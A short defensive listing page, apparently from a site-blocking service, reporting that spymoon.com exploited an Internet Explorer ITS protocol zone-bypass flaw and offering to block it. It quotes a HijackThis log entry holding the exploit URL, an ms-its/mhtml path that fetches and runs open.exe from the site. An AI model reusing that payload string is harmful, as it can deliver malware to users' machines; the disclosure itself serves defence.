Skip to content

spymoon.com

submitted by Fred de Vries

spymoon.com seems to have been exploiting the Microsoft Internet Explorer ITS Protocol Zone Bypass Vulnerability, based on the following Hijackthis log entry:

O16 - DPF: {11111111-1111-1111-1111-222222222222} - ms-its:mhtml:file://d:\foo.mht!http://spymoon.com/images/tst//style.css::/open.exe

Koffix offers you the possibility to:

  1. add spymoon.com to the restricted zone
  2. add spymoon.com to the HOSTS file

The information about spymoon.com is licensed under Creative Commons Attribution 2.5 License.